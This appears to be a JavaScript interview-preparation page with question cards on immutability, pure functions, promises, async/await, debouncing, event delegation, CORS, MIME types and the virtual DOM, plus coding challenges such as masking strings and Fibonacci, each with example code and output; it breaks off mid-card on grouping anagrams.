  • Why JSON.stringify is unreliable
  • Use a tested helper
const a = { x: 1, y: { z: 2 } };
const b = { x: 1, y: { z: 2 } };
console.log(a === b, a === a);

function deepEqual(left, right) {
  if (Object.is(left, right)) return true;
  if (typeof left !== "object" || typeof right !== "object" || left === null || right === null) return false;
  if (Array.isArray(left) !== Array.isArray(right)) return false;
  const keys = Object.keys(left);
  if (keys.length !== Object.keys(right).length) return false;
  return keys.every((key) => Object.hasOwn(right, key) && deepEqual(left[key], right[key]));
}
console.log(deepEqual(a, b), deepEqual({ x: 1 }, { x: 2 }));
console.log(JSON.stringify({ x: 1, y: 2 }) === JSON.stringify({ y: 2, x: 1 }));
stdout
false true
true false
false
  • Shallow equality (keys and Object.is on each value) is what React.memo and useMemo dependencies effectively use.
  • A full deep equal also has to handle Date, Map, Set, typed arrays, prototypes and cycles. That is why it belongs in a library.
  • JSON.stringify compares in key order and drops undefined and functions, so it misreports both ways.
09Contrast mutable and immutable values, and mutating vs non-mutating methods.SeniorJavaScript
IN 30 SECONDS

Primitives are immutable: string methods return new strings, and you can only replace a variable's value. Objects and arrays are mutable: they can be changed in place, and everyone holding a reference sees the change. Mutating methods change the array you call them on (push, sort, splice); non-mutating ones return a new array (map, filter, slice, toSorted).

GOOD TO HEAR
  • Primitives are immutable
  • Mutating vs copying methods
  • ES2023 change-by-copy methods
  • Freeze is shallow
  • Reference checks in React
const scores = [3, 1, 2];
const sorted = scores.toSorted();
console.log(scores, sorted);
scores.sort();
console.log(scores);
const name = "ada";
name.toUpperCase();
console.log(name);
const frozen = Object.freeze({ list: [1] });
frozen.list.push(2);
console.log(frozen.list.length);
stdout
[ 3, 1, 2 ] [ 1, 2, 3 ]
[ 1, 2, 3 ]
ada
2
MutatingNon-mutating equivalent
push, unshift[...arr, x], [x, ...arr]
splicetoSpliced, slice + spread
sorttoSorted (ES2023)
reversetoReversed (ES2023)
arr[i] = xarr.with(i, x) (ES2023)
Object.assign(obj, patch){ ...obj, ...patch }

Immutability matters most where change is detected by reference. React compares state with Object.is: mutate an array and set it back, and React sees the same reference and skips the render.

The trap: Object.freeze is shallow and const only stops reassignment: neither makes nested data immutable.

JavaScript

Functions and functional style

Pure functions, composition, recursion and caching: the ideas behind array methods, reducers and React's render model.

7
01What is functional programming?SeniorJavaScriptdemo
IN 30 SECONDS

A style of building programs from pure functions over immutable data, combined by composition. Functions are values that can be passed and returned (higher-order functions); state changes are expressed as new values rather than mutation; side effects are pushed to the edges. JavaScript supports it alongside imperative and object-oriented styles.

GOOD TO HEAR
  • Pure functions
  • Immutability
  • Higher-order functions
  • Composition
  • Side effects at the edges
  • Easier testing and reasoning
const orders = [
  { item: "book", price: 12, paid: true },
  { item: "pen", price: 2, paid: false },
  { item: "lamp", price: 30, paid: true },
];
const paidTotal = orders
  .filter((order) => order.paid)
  .map((order) => order.price)
  .reduce((sum, price) => sum + price, 0);
console.log(paidTotal);
stdout
42
  • Pure functions: output depends only on input; no side effects.
  • Immutability: produce new values instead of changing existing ones.
  • First-class and higher-order functions: map, filter, reduce, compose, callbacks.
  • Composition: small functions piped together into bigger ones.
  • Declarative: describe the result, not the loop.

Interview line: React leans on these ideas: components should be pure functions of props and state, and reducers return new state instead of mutating it.

InteractiveCompose small pure functions into one and watch a value flow through them.
loading demo…
02What is a pure function?SeniorJavaScript
IN 30 SECONDS

A function that, given the same arguments, always returns the same result, and has no side effects: it does not mutate its arguments or outside state, and does no I/O (network, DOM, logging, storage, random numbers, the current time). Pure functions are easy to test, cache and run in any order.

GOOD TO HEAR
  • Same input, same output
  • No side effects
  • Doesn't mutate arguments
  • Testable, cacheable
  • React render purity
let total = 0;
function addToTotal(amount) {
  total += amount; // side effect: changes outside state
  return total;
}
console.log(addToTotal(5), addToTotal(5));

const add = (a, b) => a + b;
console.log(add(5, 5), add(5, 5));

const tags = ["b", "a"];
const sortedImpure = (list) => list.sort(); // mutates its argument
const sortedPure = (list) => list.toSorted();
console.log(sortedPure(tags), tags);
sortedImpure(tags);
console.log(tags);
stdout
5 10
10 10
[ 'a', 'b' ] [ 'b', 'a' ]
[ 'a', 'b' ]
  • Referential transparency: a call can be replaced by its result. That is what makes memoization safe.
  • Side effects are not bad; they are the point of a program. Purity is about keeping them in a few known places.
  • React requires rendering to be pure. StrictMode renders twice in development to surface impure components.
03Explain the differences between imperative and declarative programming.SeniorJavaScript
IN 30 SECONDS

Imperative code says how: the exact steps, in order, usually mutating state (a for loop pushing into an array, document.createElement then appendChild). Declarative code says what result you want and leaves the steps to something else: SQL, HTML, CSS, array.filter(...), or React's JSX, where you describe the UI for a state and React works out the DOM changes.

GOOD TO HEAR
  • How vs what
  • Mutation and steps vs expressions of the result
  • SQL, HTML, CSS, JSX are declarative
  • Declarative is built on imperative
const numbers = [1, 2, 3, 4, 5, 6];

const evensImperative = [];
for (let i = 0; i < numbers.length; i++) {
  if (numbers[i] % 2 === 0) evensImperative.push(numbers[i] * 10);
}

const evensDeclarative = numbers.filter((n) => n % 2 === 0).map((n) => n * 10);

console.log(evensImperative, evensDeclarative);
stdout
[ 20, 40, 60 ] [ 20, 40, 60 ]
function TodoCount({ todos }: { todos: { done: boolean }[] }) {
  const left = todos.filter((todo) => !todo.done).length;
  // Declarative: describe the text for this state. React updates the DOM.
  return <p className={left === 0 ? "done" : undefined}>{left} left</p>;
}

The imperative version of that component would find the element, set its text, and add or remove the class on every change, remembering the previous state to know which. Declarative code is usually shorter and harder to get out of sync; imperative code gives finer control, which is why declarative libraries are built on imperative code underneath.

04What is the difference between the array methods map() and forEach()?MidJavaScript
IN 30 SECONDS

map returns a new array of the callback's return values, the same length as the original. forEach returns undefined; it exists for side effects. Use map to transform data (it is chainable and works in JSX), forEach (or for...of) to do something for each item.

GOOD TO HEAR
  • map returns a new array
  • forEach returns undefined
  • Neither breaks early
  • Neither awaits async callbacks
const numbers = [1, 2, 3];
const doubled = numbers.map((n) => n * 2);
const nothing = numbers.forEach((n) => n * 2);
console.log(doubled, nothing, numbers);
stdout
[ 2, 4, 6 ] undefined [ 1, 2, 3 ]
  • Neither can stop early. Use for...of with break, or some/every/find, which stop at the first match.
  • Neither awaits an async callback. forEach(async ...) fires every call and moves on; use for...of with await for sequence, or Promise.all(items.map(async ...)) for parallel.
  • Both skip holes in sparse arrays.

The trap: Using map only for its side effects builds an array nobody uses, and tells the reader you meant to transform data.

05Create a function pipe that performs left-to-right function composition by returning a function that accepts one argument.SeniorJavaScriptdemo
THE QUESTION'S CODE
const square = (v) => v * v;
const double = (v) => v * 2;
const addOne = (v) => v + 1;
const res = pipe(square, double, addOne);
res(3); // 19; addOne(double(square(3)))
Show the answer
IN 30 SECONDS

Collect the functions with a rest parameter and return a function that runs a value through them with reduce: const pipe = (...fns) => (x) => fns.reduce((value, fn) => fn(value), x). compose is the same with reduceRight (right to left).

GOOD TO HEAR
  • Rest parameter + reduce
  • Left-to-right vs compose
  • Unary functions
  • Identity when empty
const pipe = (...fns) => (x) => fns.reduce((value, fn) => fn(value), x);
const compose = (...fns) => (x) => fns.reduceRight((value, fn) => fn(value), x);

const square = (v) => v * v;
const double = (v) => v * 2;
const addOne = (v) => v + 1;
console.log(pipe(square, double, addOne)(3));
console.log(compose(square, double, addOne)(3));
console.log(pipe()(7));
stdout
19
64
7

compose(square, double, addOne)(3) is square(double(addOne(3))): (3 + 1) * 2 = 8, squared is 64. With no functions, pipe returns its input unchanged, because reduce starts from x.

  • Each function takes one argument and returns one value, so the output of one fits the input of the next.
  • An async version awaits each step: (x) => fns.reduce(async (value, fn) => fn(await value), x).
InteractiveReorder the steps: the same functions give a different answer in a different order.
loading demo…
06What is memoization?SeniorJavaScriptdemo
IN 30 SECONDS

Caching a function's results by its arguments: the first call computes and stores the result, later calls with the same arguments return the stored value. It trades memory for time, and is only correct for pure functions. The classic win is recursive problems with overlapping subproblems, like Fibonacci.

GOOD TO HEAR
  • Cache results by arguments
  • Only for pure functions
  • Overlapping subproblems
  • Cache key strategy
  • Memory cost, LRU, WeakMap
function memoize(fn) {
  const cache = new Map();
  return (n) => {
    if (!cache.has(n)) cache.set(n, fn(n));
    return cache.get(n);
  };
}
let calls = 0;
const slowSquare = (n) => {
  calls += 1;
  return n * n;
};
const fastSquare = memoize(slowSquare);
console.log(fastSquare(9), fastSquare(9), calls);

const fib = memoize((n) => (n < 2 ? n : fib(n - 1) + fib(n - 2)));
console.log(fib(50));
stdout
81 81 1
12586269025
  • The key: one primitive argument maps directly to a Map key. Several arguments need a combined key (JSON.stringify(args) for simple data) or nested maps.
  • Memory: an unbounded cache grows forever. Use an LRU limit, or a WeakMap when the argument is an object, so entries can be garbage-collected.
  • React: useMemo and memo memoize per component instance, and only against the previous inputs. The React Compiler inserts this automatically.

The trap: Memoizing an impure function (one that reads the time, Math.random or mutable state) returns stale answers.

InteractiveTurn memoization on and watch the call tree for fib(n) collapse into a line.
loading demo…
07What is recursion and when is it useful?SeniorJavaScriptdemo
IN 30 SECONDS

A function that solves a problem by calling itself on a smaller version of it, until it reaches a base case it can answer directly. It fits data that is recursive itself (trees, the DOM, nested JSON, file systems, menus) and divide-and-conquer algorithms (merge sort, binary search), and it is often clearer than the loop with an explicit stack it replaces.

GOOD TO HEAR
  • Base case and recursive case
  • Natural for trees and nested data
  • Stack overflow risk
  • Exponential repeated work, fixed by memoization
  • No tail-call optimisation in practice
const tree = {
  name: "root",
  children: [
    { name: "a", children: [{ name: "a1", children: [] }] },
    { name: "b", children: [] },
  ],
};
const count = (node) => 1 + node.children.reduce((sum, child) => sum + count(child), 0);
console.log(count(tree));

const flatten = (value) => (Array.isArray(value) ? value.flatMap(flatten) : [value]);
console.log(flatten([1, [2, [3, [4]]], 5]));
stdout
4
[ 1, 2, 3, 4, 5 ]
  • Base case first: without one, the function recurses until RangeError: Maximum call stack size exceeded.
  • Depth limit: the call stack holds roughly ten thousand frames, depending on the engine. Very deep data needs a loop with an explicit stack.
  • Repeated work: naive recursive Fibonacci is O(2^n) because it recomputes the same values. Memoize, or build up iteratively.
  • Proper tail calls are in the spec but only Safari implements them, so don't rely on them.
InteractiveRaise n by one and see how many more calls the naive version makes.
loading demo…
JavaScript

Asynchronous JavaScript

One thread, an event loop, and three generations of async code: callbacks, promises and async/await.

7
01What is the difference between synchronous and asynchronous code in JavaScript?MidJavaScriptdemo
IN 30 SECONDS

Synchronous code runs line by line on the one main thread, and each line finishes before the next starts. Asynchronous work (timers, network, file I/O, user events) is started, and its callback runs later, once the current code has finished and the call stack is empty. Promise callbacks (microtasks) run before the next timer or event (macrotask).

GOOD TO HEAR
  • Single thread, run to completion
  • The event loop
  • Microtasks before macrotasks
  • Blocking vs non-blocking
  • setTimeout(fn, 0) is not immediate
console.log("1 sync");
setTimeout(() => console.log("4 timeout"), 0);
Promise.resolve().then(() => console.log("3 microtask"));
console.log("2 sync");
stdout
1 sync
2 sync
3 microtask
4 timeout
  • The call stack runs synchronous code to completion. Nothing interrupts it.
  • Web APIs / libuv do the waiting (timers, sockets, disk) outside the JavaScript thread.
  • The task queue (macrotasks) holds callbacks from timers, events and I/O.
  • The microtask queue holds promise reactions and queueMicrotask callbacks. It is drained completely after every task, before rendering and before the next task.

The trap: A long synchronous loop blocks everything: clicks, rendering, timers. Async code does not make work faster; it lets the thread do other things while waiting. CPU-heavy work belongs in a Web Worker.

InteractiveStep through: the timer waits in the task queue even with a 0 ms delay.
loading demo…
02What is a callback? Can you show an example using one?MidJavaScript
IN 30 SECONDS

A callback is a function passed to another function, to be called by it later. Some run synchronously (array.map(fn), sort(compare)), others asynchronously when something happens (addEventListener, setTimeout, Node's fs.readFile). Callbacks were the original way to handle async results; promises are built on them.

GOOD TO HEAR
  • Function passed as an argument
  • Synchronous and asynchronous callbacks
  • Higher-order functions
  • Inversion of control
  • Error handling and nesting problems
const numbers = [1, 2, 3];
console.log(numbers.map((n) => n * 10));

function fetchUser(id, onDone) {
  setTimeout(() => onDone({ id, name: "Ada" }), 10);
}
fetchUser(1, (user) => console.log("loaded", user.name));
console.log("requested");
stdout
[ 10, 20, 30 ]
requested
loaded Ada
  • Inversion of control: you hand your code to someone else, who decides when, how often and with what to call it.
  • Errors cannot be caught with a surrounding try/catch once the callback runs later; conventions like Node's error-first callbacks fill the gap.
  • Nesting dependent steps leads to the "pyramid of doom". Promises and async/await flatten it.
03What are Promises?MidJavaScriptdemo
IN 30 SECONDS

A Promise is an object standing for the eventual result of an asynchronous operation. It starts pending and settles once, either fulfilled with a value or rejected with a reason. You react with .then, .catch and .finally; each returns a new promise, so steps chain, and a thrown error skips ahead to the next .catch.

GOOD TO HEAR
  • Placeholder for a future value
  • Pending, fulfilled, rejected
  • Chaining returns new promises
  • Error propagation to .catch
  • Combinators
  • Microtask timing
const wait = (ms, value) => new Promise((resolve) => setTimeout(() => resolve(value), ms));

wait(20, 2)
  .then((n) => n * 10)
  .then((n) => {
    throw new Error("too big: " + n);
  })
  .catch((error) => console.log("caught", error.message))
  .finally(() => console.log("done"));

const results = await Promise.allSettled([wait(5, "ok"), Promise.reject(new Error("no"))]);
console.log(results.map((result) => result.status));
stdout
[ 'fulfilled', 'rejected' ]
caught too big: 20
done
CombinatorFulfils whenRejects when
Promise.allall fulfil (array of values)the first one rejects
Promise.allSettledall settle (array of outcomes)never
Promise.racethe first one fulfilsthe first one rejects
Promise.anythe first one fulfilsall reject (AggregateError)
  • Handlers always run asynchronously, as microtasks, even on an already-resolved promise.
  • Returning a promise from .then waits for it, which is what makes chains flat.
  • A rejection with no handler surfaces as an unhandledrejection event (and crashes Node by default).
InteractiveEach .then queues the next step as a microtask: count how many steps run before the timer.
loading demo…
04In which states can a Promise be?JuniorJavaScriptdemo
IN 30 SECONDS

Three: pending (not settled yet), fulfilled (it has a value) and rejected (it has a reason, usually an Error). Fulfilled and rejected together are called settled, and a promise settles only once: later resolve or reject calls are ignored.

GOOD TO HEAR
  • Pending, fulfilled, rejected
  • Settled = fulfilled or rejected
  • Settles exactly once
  • Resolved vs fulfilled
const p = new Promise((resolve, reject) => {
  resolve("first");
  reject(new Error("ignored"));
  resolve("ignored too");
});
p.then((value) => console.log(value));

const pending = new Promise(() => {});
console.log(Promise.resolve(pending) === pending);
stdout
true
first
  • "Settled" is a description, not a fourth state.
  • "Resolved" is not the same as "fulfilled": a promise resolved with another promise follows it and may still be pending, or end up rejected.
  • There is no synchronous way to read a promise's state. You find out by attaching a handler.
InteractiveResolve, then try to reject the same promise: the state never changes twice.
loading demo…
05What is an async function?MidJavaScriptdemo
THE QUESTION'S CODE
async function foo() {
  // ...
}
Show the answer
IN 30 SECONDS

A function that always returns a promise and can use await inside. Returning a value fulfils that promise, throwing rejects it. await pauses the function (not the thread) until the awaited promise settles, then resumes it as a microtask, so asynchronous code reads like synchronous code, with ordinary try/catch.

GOOD TO HEAR
  • Always returns a promise
  • await pauses the function, not the thread
  • try/catch for rejections
  • Sequential vs parallel awaits
  • Syntax over promises
async function getValue() {
  return 42;
}
console.log(getValue() instanceof Promise);

async function main() {
  console.log("before await");
  const value = await getValue();
  console.log("after await", value);
}
main();
console.log("main returned");
stdout
true
before await
main returned
after await 42
Sequential awaits add up; Promise.all runs them together
const wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const task = async (name) => {
  await wait(50);
  return name;
};

let start = Date.now();
await task("a");
await task("b");
const sequential = Date.now() - start;

start = Date.now();
await Promise.all([task("a"), task("b")]);
const parallel = Date.now() - start;
console.log(sequential >= 90, parallel < 90);
stdout
true true

The trap: await in a loop runs the iterations one after another. When the steps don't depend on each other, start them all and await Promise.all(...).

InteractiveWatch main leave the call stack at await and come back later as a microtask.
loading demo…
06What is event-driven programming?SeniorJavaScriptdemo
IN 30 SECONDS

A style where the program's flow is driven by events (clicks, messages, timers, I/O completing) rather than a fixed sequence. Code registers handlers for event types, and an emitter calls every handler subscribed to an event when it happens. The browser's DOM events and Node's EventEmitter are both built this way; it keeps the sender and the receivers decoupled.

GOOD TO HEAR
  • Flow driven by events
  • Emitters and handlers (pub/sub)
  • Decoupling
  • Unsubscribe to avoid leaks
  • DOM events and Node EventEmitter
function createEmitter() {
  const handlers = new Map();
  return {
    on(type, handler) {
      if (!handlers.has(type)) handlers.set(type, new Set());
      handlers.get(type).add(handler);
      return () => handlers.get(type).delete(handler);
    },
    emit(type, payload) {
      for (const handler of handlers.get(type) ?? []) handler(payload);
    },
  };
}
const hub = createEmitter();
const off = hub.on("message", (text) => console.log("A got", text));
hub.on("message", (text) => console.log("B got", text));
hub.emit("message", "hi");
off();
hub.emit("message", "bye");
hub.emit("nobody-listens", "...");
stdout
A got hi
B got hi
B got bye
  • Publish/subscribe: the emitter doesn't know who is listening, and emitting with no listeners is not an error.
  • Unsubscribe: returning an off function (as addEventListener pairs with removeEventListener) is what lets components clean up and avoid leaks.
  • In the browser: new CustomEvent("cart:add", { detail }) with dispatchEvent gives the same pattern on DOM nodes or an EventTarget.
InteractiveSubscribe a few listeners, emit, then unsubscribe one and emit again.
loading demo…
07What is debouncing?MidJavaScriptdemo
IN 30 SECONDS

Delaying a function until calls to it have stopped for a set time. Every call resets the timer, so a burst of calls produces one run, after the burst. It is the standard fix for search-as-you-type, autosave and resize handlers. Throttling is the cousin: run at most once per interval, even during the burst.

GOOD TO HEAR
  • Wait until calls stop
  • Reset the timer on each call
  • Search inputs and resize
  • Debounce vs throttle
  • Leading vs trailing edge
function debounce(fn, delay) {
  let timer;
  return (...args) => {
    clearTimeout(timer);
    timer = setTimeout(() => fn(...args), delay);
  };
}
const search = debounce((query) => console.log("search", query), 50);
search("r");
search("re");
search("react");
setTimeout(() => search("vue"), 100);
stdout
search react
search vue
The React version: the effect cleanup is the clearTimeout
function useDebouncedValue<T>(value: T, delay: number): T {
  const [debounced, setDebounced] = useState(value);
  useEffect(() => {
    const id = setTimeout(() => setDebounced(value), delay);
    return () => clearTimeout(id);
  }, [value, delay]);
  return debounced;
}
TechniqueA burst of 20 calls in 1 sUse for
Debounce (trailing)1 run, after the burstsearch input, autosave, resize end
Debounce (leading)1 run, at the startpreventing double submits
Throttleabout 1 run per intervalscroll position, drag, mousemove

Interview line: Debouncing a search box also needs the latest request to win: the debounce reduces requests, it doesn't stop an old response from arriving last.

InteractiveMove the pointer over the pad in bursts and compare the three lanes.
loading demo…
JavaScript

JavaScript in the browser

Events, cross-origin requests, content types and why UI libraries exist: JavaScript where it meets the page and the network.

5
01What is event delegation and why is it useful? Can you show an example of how to use it?MidJavaScriptHTMLdemo
IN 30 SECONDS

Instead of a listener on every child, put one listener on a common ancestor and use event.target to find which child the event came from. It works because most events bubble up through their ancestors. One listener uses less memory, and it also handles children added later, without re-binding.

GOOD TO HEAR
  • Relies on event bubbling
  • One listener on an ancestor
  • event.target vs currentTarget
  • Works for dynamically added elements
  • Non-bubbling events
<ul id="todo-list">
  <li data-id="1">Buy milk <button class="remove">×</button></li>
  <li data-id="2">Walk dog <button class="remove">×</button></li>
</ul>
One listener for every current and future remove button
const list = document.getElementById("todo-list");
list.addEventListener("click", (event) => {
  const button = event.target.closest("button.remove");
  if (!button || !list.contains(button)) return;
  button.closest("li").remove();
});
  • event.target is the element that was actually clicked (possibly a <span> inside the button), so match with closest(selector), not ===.
  • event.currentTarget is the element the listener is attached to: here, the list.
  • focus, blur, mouseenter and mouseleave don't bubble. Delegate with focusin/focusout and mouseover/mouseout instead.
  • A child calling event.stopPropagation() stops the event from reaching the delegated listener.

React uses delegation itself: since React 17 it attaches one listener per event type at the root container and dispatches to your onClick props from there.

InteractiveClick an inner layer and follow the event down (capture) and back up (bubble) through its ancestors.
loading demo…
02What is CORS?MidJavaScriptSecuritydemo
IN 30 SECONDS

Cross-Origin Resource Sharing: the browser mechanism that lets a server relax the same-origin policy. By default, a page's script cannot read responses from another origin (scheme + host + port). With CORS, the server lists which origins, methods and headers it accepts in Access-Control-Allow-* response headers, and the browser enforces them. Requests that are not "simple" are first checked with an OPTIONS preflight.

GOOD TO HEAR
  • Same-origin policy and origins
  • Access-Control-Allow-Origin
  • Preflight OPTIONS requests
  • Credentials rules
  • Enforced by browsers, not servers
A simple cross-origin request and the header that permits it
GET /api/profile HTTP/1.1
Host: api.example.com
Origin: https://app.example.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Vary: Origin
Simple requestPreflighted request
MethodsGET, HEAD, POSTanything else (PUT, PATCH, DELETE)
HeadersCORS-safelisted only (Accept, Content-Language, ...)custom headers, Authorization
Content-Typeform-encoded, multipart/form-data, text/plainapplication/json and others
What happenssent directly; the response is blocked if not allowedOPTIONS first; the real request only if it passes
  • Credentials (cookies, fetch(url, { credentials: "include" })) need Access-Control-Allow-Credentials: true and an exact origin: * is not allowed with them.
  • CORS is enforced by the browser. curl, servers and Postman ignore it. It protects users' data in other origins, not your API: you still need authentication and CSRF protection.
  • A CORS error is a server configuration problem; mode: "no-cors" only gets you an opaque response you cannot read.

The trap: Reflecting any Origin back with credentials allowed is equivalent to turning the same-origin policy off for logged-in users.

InteractiveSwitch the request to PUT with JSON and watch the preflight appear; then break the server's config.
loading demo…
03What is a MIME type and what is it used for?MidJavaScriptHTML
IN 30 SECONDS

A MIME type (media type) labels what kind of data a stream of bytes is, as type/subtype with optional parameters: text/html; charset=utf-8, application/json, image/png. Servers send it in the Content-Type header and clients in Accept; browsers use it to decide whether to render, run, or download a response.

GOOD TO HEAR
  • type/subtype format
  • Content-Type and Accept headers
  • Browsers decide how to handle content by it
  • nosniff
MIME typeContent
text/htmlHTML documents
text/cssstylesheets (required for <link rel="stylesheet"> in standards mode)
text/javascriptJavaScript (the one the spec recommends)
application/jsonJSON
image/svg+xml, image/webp, image/avifimages
multipart/form-dataform submissions with files
application/octet-streamunknown binary: browsers download it
  • The name comes from Multipurpose Internet Mail Extensions, the email standard that introduced it.
  • Browsers refuse to run a module script, or a stylesheet, served with the wrong type.
  • X-Content-Type-Options: nosniff stops the browser from guessing ("sniffing") a type from the bytes, which blocks some content-injection attacks.
  • In the browser: blob.type, file.type, <input type="file" accept="image/*">.
const response = new Response(JSON.stringify({ ok: true }), {
  headers: { "Content-Type": "application/json; charset=utf-8" },
});
console.log(response.headers.get("content-type"));
const blob = new Blob(["<p>hi</p>"], { type: "text/html" });
console.log(blob.type, blob.size);
stdout
application/json; charset=utf-8
text/html 9
04What is the purpose of JavaScript UI libraries/frameworks like React, Vue, Angular, Hyperapp, etc?SeniorJavaScriptReact
IN 30 SECONDS

To keep the UI in sync with application state without hand-written DOM manipulation. You describe what the UI should look like for a given state, and the library works out and applies the DOM changes when the state changes. On top of that they give a component model for reuse and composition, and an ecosystem for routing, data loading and server rendering.

GOOD TO HEAR
  • Sync UI with state declaratively
  • Avoid manual DOM manipulation
  • Reusable components
  • Virtual DOM or compiled updates
  • Ecosystem: routing, SSR, data
Without a library
// Imperative: you track and patch every piece of the DOM yourself.
let count = 0;
const label = document.querySelector("#count");
const button = document.querySelector("#add");
button.addEventListener("click", () => {
  count += 1;
  label.textContent = String(count);
  label.classList.toggle("many", count > 9);
  button.disabled = count >= 20;
});
With React: UI as a function of state
function Counter() {
  const [count, setCount] = useState(0);
  return (
    <>
      <span className={count > 9 ? "many" : undefined}>{count}</span>
      <button disabled={count >= 20} onClick={() => setCount(count + 1)}>Add</button>
    </>
  );
}
  • State is the single source of truth: with jQuery-era code, state often lived in the DOM (classes, data- attributes) and drifted out of sync.
  • Components package markup, behaviour and styling together and compose like functions.
  • Rendering strategy differs: React and Vue diff a virtual DOM, Svelte and Solid compile to targeted DOM updates, Angular uses change detection over templates.

Interview line: The core value is that the view becomes a function of state, so I change data and the library does the bookkeeping.

05What is a virtual DOM and why is it used in libraries/frameworks?SeniorJavaScriptReactdemo
IN 30 SECONDS

A virtual DOM is a lightweight tree of plain JavaScript objects describing what the UI should be. On each update, the library renders a new tree, compares (diffs) it with the previous one, and applies only the differences to the real DOM. It lets you write code as if the whole UI re-renders from scratch, while the browser only sees the minimal changes.

GOOD TO HEAR
  • In-memory tree of plain objects
  • Diffing and reconciliation
  • Minimal real DOM updates
  • Keys for lists
  • Not inherently faster than direct DOM updates
  • Virtual DOM is not the shadow DOM
const element = (
  <ul className="list">
    <li>a</li>
  </ul>
);
// JSX compiles to calls that return plain objects, roughly:
// { type: "ul", props: { className: "list", children: { type: "li", props: { children: "a" } } } }
console.log(element.type, typeof element.props);
  • Reconciliation: React compares element types first. A different type (div → section) replaces the whole subtree; the same type keeps the DOM node and updates changed attributes.
  • Lists are matched by key, so items can move without being recreated.
  • Batching: many state changes produce one diff and one round of DOM writes.
  • Not free: diffing costs CPU. A virtual DOM is not faster than precise hand-written DOM updates; it is faster than naive re-rendering and much easier to write correctly. Svelte and Solid skip it by compiling updates ahead of time.
  • React's Fiber architecture splits rendering into interruptible units of work, so updates can be prioritised (transitions).

The trap: The "virtual DOM" is not a copy of the browser DOM, and it is not a shadow DOM (that is an unrelated Web Components feature for encapsulation).

InteractiveApply a change and read the patch list: insert at the start with and without keys.
loading demo…
JavaScript

Coding challenges

Small functions to write on the spot, plus the vocabulary for talking about how fast they are.

5
01Create a function batches that returns the maximum number of whole batches that can be cooked from a recipe.MidJavaScriptdemo
THE QUESTION'S CODE
/**
 * batches(recipe, available)
 * Both arguments map an ingredient to a number of units.
 */

// 0 batches can be made
batches({ milk: 100, butter: 50, flour: 5 }, { milk: 132, butter: 48, flour: 51 });
batches({ milk: 100, flour: 4, sugar: 10, butter: 5 }, { milk: 1288, flour: 9, sugar: 95 });

// 1 batch can be made
batches({ milk: 100, butter: 50, cheese: 10 }, { milk: 198, butter: 52, cheese: 10 });

// 2 batches can be made
batches({ milk: 2, sugar: 40, butter: 20 }, { milk: 5, sugar: 120, butter: 500 });
Show the answer
IN 30 SECONDS

For every ingredient in the recipe, the number of batches it allows is Math.floor(available / required), and 0 when it is missing. The answer is the smallest of those numbers: the scarcest ingredient decides.

GOOD TO HEAR
  • Ratio per ingredient, floored
  • Minimum across ingredients
  • Missing ingredient → 0
  • Edge cases: empty recipe, NaN
const batches = (recipe, available) =>
  Math.min(
    ...Object.entries(recipe).map(([ingredient, required]) =>
      Math.floor((available[ingredient] ?? 0) / required),
    ),
  );

console.log(batches({ milk: 100, butter: 50, flour: 5 }, { milk: 132, butter: 48, flour: 51 }));
console.log(batches({ milk: 100, flour: 4, sugar: 10, butter: 5 }, { milk: 1288, flour: 9, sugar: 95 }));
console.log(batches({ milk: 100, butter: 50, cheese: 10 }, { milk: 198, butter: 52, cheese: 10 }));
console.log(batches({ milk: 2, sugar: 40, butter: 20 }, { milk: 5, sugar: 120, butter: 500 }));
stdout
0
0
1
2
  • Iterate the recipe, not the pantry: extra ingredients in available don't matter, missing ones do.
  • ?? 0 turns a missing ingredient into 0 batches. Without it, undefined / 5 is NaN and Math.min returns NaN.
  • Edge case to mention: an empty recipe gives Math.min() = Infinity. Decide what that should mean and say so.
  • It is O(r) for r recipe ingredients. Spreading into Math.min is fine here; for very large arrays, reduce avoids argument-count limits.
InteractiveEdit the pantry and see which ingredient becomes the bottleneck.
loading demo…
02Create a function that masks a string of characters with # except for the last four (4) characters.MidJavaScriptdemo
THE QUESTION'S CODE
mask("123456789"); // "#####6789"
Show the answer
IN 30 SECONDS

Take the last four characters with slice(-4) and pad them back to the original length with padStart(length, "#"). Strings of four characters or fewer come back unchanged.

GOOD TO HEAR
  • slice(-4) + padStart
  • Short strings unchanged
  • Unicode code units vs code points
  • One-liner but explain it
const mask = (text, maskChar = "#") => text.slice(-4).padStart(text.length, maskChar);

console.log(mask("123456789"));
console.log(mask("4111111111111111"));
console.log(mask("abc"));
console.log(mask(""));
stdout
#####6789
############1111
abc

The last call returns an empty string. One subtlety worth raising: length and slice count UTF-16 code units, so emoji and some accented characters count as two. Splitting into code points with [...text] fixes that.

const maskCodePoints = (text, maskChar = "#") => {
  const chars = [...text];
  return maskChar.repeat(Math.max(0, chars.length - 4)) + chars.slice(-4).join("");
};
console.log(maskCodePoints("ab🙂cdef"));
stdout
###cdef
InteractiveTry short strings, the empty string, and an emoji.
loading demo…
03Generate an array, containing the Fibonacci sequence, up until the nth term.MidJavaScriptdemo
IN 30 SECONDS

Start from 0 and 1, and make each next term the sum of the previous two, until the array has n terms. A loop does it in O(n) time; the naive recursive definition is O(2^n) and is the classic reason to memoize.

GOOD TO HEAR
  • Iterative O(n) solution
  • Base terms and edge cases
  • Naive recursion is exponential
  • BigInt for large terms
function fibonacci(n) {
  const sequence = [];
  for (let i = 0; i < n; i++) {
    sequence.push(i < 2 ? i : sequence[i - 1] + sequence[i - 2]);
  }
  return sequence;
}
console.log(fibonacci(10).join(" "));
console.log(fibonacci(1), fibonacci(0));
stdout
0 1 1 2 3 5 8 13 21 34
[ 0 ] []
  • Clarify the start: some definitions begin at 1, 1. Ask, or state your assumption.
  • Handle n of 0 and 1 without special cases by building up from an empty array, as above.
  • Terms pass Number.MAX_SAFE_INTEGER at the 79th; use BigInt (0n, 1n) for exact large terms.
const fibonacciBig = (n) => {
  const sequence = [0n, 1n].slice(0, n);
  while (sequence.length < n) sequence.push(sequence.at(-1) + sequence.at(-2));
  return sequence;
};
console.log(String(fibonacciBig(100).at(-1)));
stdout
218922995834555169026
InteractiveCompare the loop's n steps with the naive recursion's call count.
loading demo…
04Given an array of words, write a method to output matching sets of anagrams.MidJavaScriptdemo
THE QUESTION'S CODE
const words = ["rates", "rat", "stare", "taser", "tears", "art", "tabs", "tar", "bats", "state"];
Show the answer
IN 30 SECONDS

Anagrams share the same letters, so they share the same letters sorted. Use the sorted word as a key in a Map, push each word into its key's group, and keep the groups with more than one word.

GOOD TO HEAR
  • Canonical key: sorted letters
  • Group with a Map or object
  • Filter groups of size > 1
  • Complexity and the counting alternative
